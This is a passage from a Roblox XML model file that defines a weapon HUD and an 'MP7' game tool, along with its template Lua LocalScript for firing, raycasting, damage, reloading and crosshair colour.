					<Item class="TextLabel" referent="RBX4983">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">TotalAmmo</string>
							<UDim2 name="Position">
								<XS>0.550000012</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">180</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX4984">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4278255360</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Crosshair</string>
						<UDim2 name="Position">
							<XS>0</XS>
							<XO>500</XO>
							<YS>0</YS>
							<YO>500</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>150</XO>
							<YS>0</YS>
							<YO>150</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="Frame" referent="RBX4985">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">TopFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>-0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX4986">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">RightFrame</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>-7</XO>
								<YS>0</YS>
								<YO>-1</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>14</XO>
								<YS>0</YS>
								<YO>2</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX4987">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">LeftFrame</string>
							<UDim2 name="Position">
								<XS>-0.5</XS>
								<XO>-7</XO>
								<YS>0</YS>
								<YO>-1</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>14</XO>
								<YS>0</YS>
								<YO>2</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="ImageLabel" referent="RBX4988">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<Content name="Image"><url>http://www.roblox.com/asset/?id=115400215</url></Content>
							<string name="Name">TargetHitImage</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-25</XO>
								<YS>0</YS>
								<YO>-25</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>50</XO>
								<YS>0</YS>
								<YO>50</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX4989">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">6</token>
							<string name="Name">ReloadingLabel</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>20</XO>
								<YS>0</YS>
								<YO>-20</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Reloading</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
							<token name="TextYAlignment">2</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX4990">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">BottomFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX4991">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Reload</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-120</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">false</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX4992">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">7</token>
							<string name="Name">Reload</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Press R to Reload</string>
							<Color3 name="TextColor3">4294901760</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX4993">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>-0.25</X>
					<Y>-0.600000024</Y>
					<Z>-0.200000003</Z>
					<R00>-0.243006229</R00>
					<R01>0</R01>
					<R02>0.970024765</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0.970024765</R20>
					<R21>0</R21>
					<R22>-0.243006229</R22>
				</CoordinateFrame>
				<string name="Name">MP7</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=122080076</url></Content>
				<string name="ToolTip">MP7</string>
			</Properties>
			<Item class="Part" referent="RBX4994">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-18</X>
						<Y>-68.5999985</Y>
						<Z>22.1000004</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>2</X>
						<Y>1</Y>
						<Z>0.200000003</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX4995">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=11650169</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>0.600000024</X>
							<Y>0.75</Y>
							<Z>1</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4996">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">FireSound</string>
						<float name="Pitch">1.33000004</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=95309366</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4997">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Reload</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=95309699</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4998">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">EquipSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209881</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="PointLight" referent="RBX4999">
					<Properties>
						<float name="Brightness">1.5</float>
						<Color3 name="Color">4294967040</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Flash</string>
						<float name="Range">8</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5000">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Tick</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds//clickfast.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Animation" referent="RBX5001">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=94331086</url></Content>
					<string name="Name">Recoil</string>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX5002">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">MP7</string>
					<ProtectedString name="Source">--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName)
&#9;while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
&#9;return parent[childName]
end

----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does
local Damage = 15
-- How many times per second the gun can fire
local FireRate = 1 / 12
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 400
-- In radians the minimum accuracy penalty
local MinSpread = 0.005
-- In radian the maximum accuracy penalty
local MaxSpread = 0.1
-- Number of bullets in a clip
local ClipSize = 30
-- DefaultValue for spare ammo
local SpareAmmo = 300
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = 0.012
-- Time it takes to reload weapon
local ReloadTime = 2.3
----------------------------------------

-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor&#9;= Color3.new(1, 0, 0)
local NeutralReticleColor&#9;= Color3.new(1, 1, 1)

local Spread = MinSpread
local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, &apos;Handle&apos;)
local WeaponGui = nil

local LeftButtonDown
local Reloading = false
local IsShooting = false

-- Player specific convenience variables
local MyPlayer = nil
local MyCharacter = nil
local MyHumanoid = nil
local MyTorso = nil
local MyMouse = nil

local RecoilAnim
local RecoilTrack = nil

local IconURL = Tool.TextureId  -- URL to the weapon icon asset

local DebrisService = game:GetService(&apos;Debris&apos;)
local PlayersService = game:GetService(&apos;Players&apos;)


local FireSound

local OnFireConnection = nil
local OnReloadConnection = nil

local DecreasedAimLastShot = false
local LastSpreadUpdate = time()

-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil


local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = Workspace.Terrain.GetCell

function RayIgnoreCheck(hit, pos)
&#9;if hit then
&#9;&#9;if hit.Transparency &gt;= 1 or string.lower(hit.Name) == &quot;water&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Effect&quot; or hit.Name == &quot;Rocket&quot; or hit.Name == &quot;Bullet&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Handle&quot; or hit:IsDescendantOf(MyCharacter) then
&#9;&#9;&#9;return true
&#9;&#9;elseif hit:IsA(&apos;Terrain&apos;) and pos then
&#9;&#9;&#9;local cellPos = WorldToCellFunction(Workspace.Terrain, pos)
&#9;&#9;&#9;if cellPos then
&#9;&#9;&#9;&#9;local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
&#9;&#9;&#9;&#9;if cellMat and cellMat == Enum.CellMaterial.Water then
&#9;&#9;&#9;&#9;&#9;return true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;return false
end

-- @preconditions: vec should be a unit vector, and 0 &lt; rayLength &lt;= 1000
function RayCast(startPos, vec, rayLength)
&#9;local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
&#9;if hitObject and hitPos then
&#9;&#9;local distance = rayLength - (hitPos - startPos).magnitude
&#9;&#9;if RayIgnoreCheck(hitObject, hitPos) and distance &gt; 0 then
&#9;&#9;&#9;-- there is a chance here for potential infinite recursion
&#9;&#9;&#9;return RayCast(hitPos, vec, distance)
&#9;&#9;end
&#9;end
&#9;return hitObject, hitPos
end



function TagHumanoid(humanoid, player)
&#9;-- Add more tags here to customize what tags are available.
&#9;while humanoid:FindFirstChild(&apos;creator&apos;) do
&#9;&#9;humanoid:FindFirstChild(&apos;creator&apos;):Destroy()
&#9;end 
&#9;local creatorTag = Instance.new(&quot;ObjectValue&quot;)
&#9;creatorTag.Value = player
&#9;creatorTag.Name = &quot;creator&quot;
&#9;creatorTag.Parent = humanoid
&#9;DebrisService:AddItem(creatorTag, 1.5)

&#9;local weaponIconTag = Instance.new(&quot;StringValue&quot;)
&#9;weaponIconTag.Value = IconURL
&#9;weaponIconTag.Name = &quot;icon&quot;
&#9;weaponIconTag.Parent = creatorTag
end


local function CreateBullet(bulletPos)
&#9;local bullet = Instance.new(&apos;Part&apos;, Workspace)
&#9;bullet.FormFactor = Enum.FormFactor.Custom
&#9;bullet.Size = Vector3.new(0.1, 0.1, 0.1)
&#9;bullet.BrickColor = BrickColor.new(&quot;Black&quot;)
&#9;bullet.Shape = Enum.PartType.Block
&#9;bullet.CanCollide = false
&#9;bullet.CFrame = CFrame.new(bulletPos)
&#9;bullet.Anchored = true
&#9;bullet.TopSurface = Enum.SurfaceType.Smooth
&#9;bullet.BottomSurface = Enum.SurfaceType.Smooth
&#9;bullet.Name = &apos;Bullet&apos;
&#9;DebrisService:AddItem(bullet, 2.5)
&#9;return bullet
end

local function Reload()
&#9;if not Reloading then
&#9;&#9;Reloading = true
&#9;&#9;-- Don&apos;t reload if you are already full or have no extra ammo
&#9;&#9;if AmmoInClip ~= ClipSize and SpareAmmo &gt; 0 then
&#9;&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;&#9;end
&#9;&#9;&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;&#9;&#9;if WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(ReloadTime)
&#9;&#9;&#9;-- Only use as much ammo as you have
&#9;&#9;&#9;local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
&#9;&#9;&#9;AmmoInClip = AmmoInClip + ammoToUse
&#9;&#9;&#9;SpareAmmo = SpareAmmo - ammoToUse
&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;WeaponGui.Reload.Visible = false
&#9;&#9;end
&#9;&#9;Reloading = false
&#9;end
end

function OnFire()
&#9;if IsShooting then return end
&#9;if MyHumanoid and MyHumanoid.Health &gt; 0 then
&#9;&#9;if RecoilTrack and AmmoInClip &gt; 0 then
&#9;&#9;&#9;RecoilTrack:Play()
&#9;&#9;end
&#9;&#9;IsShooting = true
&#9;&#9;while LeftButtonDown and AmmoInClip &gt; 0 and not Reloading do
&#9;&#9;&#9;if Spread and not DecreasedAimLastShot then
&#9;&#9;&#9;&#9;Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
&#9;&#9;&#9;&#9;UpdateCrosshair(Spread)
&#9;&#9;&#9;end
&#9;&#9;&#9;DecreasedAimLastShot = not DecreasedAimLastShot
&#9;&#9;&#9;if Handle:FindFirstChild(&apos;FireSound&apos;) then
&#9;&#9;&#9;&#9;Handle.FireSound:Play()
&#9;&#9;&#9;&#9;Handle.Flash.Enabled = true
&#9;&#9;&#9;end
&#9;&#9;&#9;if MyMouse then
&#9;&#9;&#9;&#9;local targetPoint = MyMouse.Hit.p
&#9;&#9;&#9;&#9;local shootDirection = (targetPoint - Handle.Position).unit
&#9;&#9;&#9;&#9;-- Adjust the shoot direction randomly off by a little bit to account for recoil
&#9;&#9;&#9;&#9;shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread) * shootDirection
&#9;&#9;&#9;&#9;local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
&#9;&#9;&#9;&#9;local bullet
&#9;&#9;&#9;&#9;-- Create a bullet here
&#9;&#9;&#9;&#9;if hitObject then
&#9;&#9;&#9;&#9;&#9;bullet = CreateBullet(bulletPos)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;if hitObject and hitObject.Parent then
&#9;&#9;&#9;&#9;&#9;local hitHumanoid = hitObject.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;&#9;&#9;if hitHumanoid then
&#9;&#9;&#9;&#9;&#9;&#9;local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
&#9;&#9;&#9;&#9;&#9;&#9;if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;
&#9;&#9;&#9;&#9;AmmoInClip = AmmoInClip - 1
&#9;&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;end
&#9;&#9;&#9;wait(FireRate)
&#9;&#9;end
&#9;&#9;Handle.Flash.Enabled = false
&#9;&#9;IsShooting = false
&#9;&#9;if AmmoInClip == 0 then
&#9;&#9;&#9;Handle.Tick:Play()
&#9;&#9;&#9;WeaponGui.Reload.Visible = true
&#9;&#9;end
&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;end
&#9;end
end

local TargetHits = 0
function UpdateTargetHit()
&#9;TargetHits = TargetHits + 1
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = true
&#9;end
&#9;wait(0.5)
&#9;TargetHits = TargetHits - 1
&#9;if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = false
&#9;end
end

function UpdateCrosshair(value, mouse)
&#9;if WeaponGui then
&#9;&#9;local absoluteY = 650
&#9;&#9;WeaponGui.Crosshair:TweenSize(
&#9;&#9;&#9;UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
&#9;&#9;&#9;Enum.EasingDirection.Out,
&#9;&#9;&#9;Enum.EasingStyle.Linear,
&#9;&#9;&#9;0.33)
&#9;end
end

function UpdateAmmo(value)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;ClipAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
&#9;&#9;if value &gt; 0 and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = false
&#9;&#9;end
&#9;end
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;TotalAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
&#9;end
end


function OnMouseDown()
&#9;LeftButtonDown = true
&#9;OnFire()
end

function OnMouseUp()
&#9;LeftButtonDown = false
end

function OnKeyDown(key)
&#9;if string.lower(key) == &apos;r&apos; then
&#9;&#9;Reload()
&#9;end
end


function OnEquipped(mouse)
&#9;Handle.EquipSound:Play()
&#9;RecoilAnim = WaitForChild(Tool, &apos;Recoil&apos;)
&#9;FireSound  = WaitForChild(Handle, &apos;FireSound&apos;)

&#9;MyCharacter = Tool.Parent
&#9;MyPlayer = game:GetService(&apos;Players&apos;):GetPlayerFromCharacter(MyCharacter)
&#9;MyHumanoid = MyCharacter:FindFirstChild(&apos;Humanoid&apos;)
&#9;MyTorso = MyCharacter:FindFirstChild(&apos;Torso&apos;)
&#9;MyMouse = mouse
&#9;WeaponGui = WaitForChild(Tool, &apos;WeaponHud&apos;):Clone()
&#9;if WeaponGui and MyPlayer then
&#9;&#9;WeaponGui.Parent = MyPlayer.PlayerGui
&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;end
&#9;if RecoilAnim then
&#9;&#9;RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim)
&#9;end

&#9;if MyMouse then
&#9;&#9;-- Disable mouse icon
&#9;&#9;MyMouse.Icon = &quot;http://www.roblox.com/asset/?id=18662154&quot;
&#9;&#9;MyMouse.Button1Down:connect(OnMouseDown)
&#9;&#9;MyMouse.Button1Up:connect(OnMouseUp)
&#9;&#9;MyMouse.KeyDown:connect(OnKeyDown)
&#9;end
end


-- Unequip logic here
function OnUnequipped()
&#9;LeftButtonDown = false
&#9;Reloading = false
&#9;MyCharacter = nil
&#9;MyHumanoid = nil
&#9;MyTorso = nil
&#9;MyPlayer = nil
&#9;MyMouse = nil
&#9;if OnFireConnection then
&#9;&#9;OnFireConnection:disconnect()
&#9;end
&#9;if OnReloadConnection then
&#9;&#9;OnReloadConnection:disconnect()
&#9;end
&#9;if FlashHolder then
&#9;&#9;FlashHolder = nil
&#9;end
&#9;if WeaponGui then
&#9;&#9;WeaponGui.Parent = nil
&#9;&#9;WeaponGui = nil
&#9;end
&#9;if RecoilTrack then
&#9;&#9;RecoilTrack:Stop()
&#9;end
end

local function SetReticleColor(color)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
&#9;&#9;&#9;if line:IsA(&apos;Frame&apos;) then
&#9;&#9;&#9;&#9;line.BorderColor3 = color
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end


Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

while true do
&#9;wait(0.033)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and MyMouse then
&#9;&#9;WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
&#9;&#9;SetReticleColor(NeutralReticleColor)

&#9;&#9;local target = MyMouse.Target
&#9;&#9;if target and target.Parent then
&#9;&#9;&#9;local player = PlayersService:GetPlayerFromCharacter(target.Parent)
&#9;&#9;&#9;if player then
&#9;&#9;&#9;&#9;if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;SetReticleColor(EnemyReticleColor)
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;SetReticleColor(FriendlyReticleColor)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
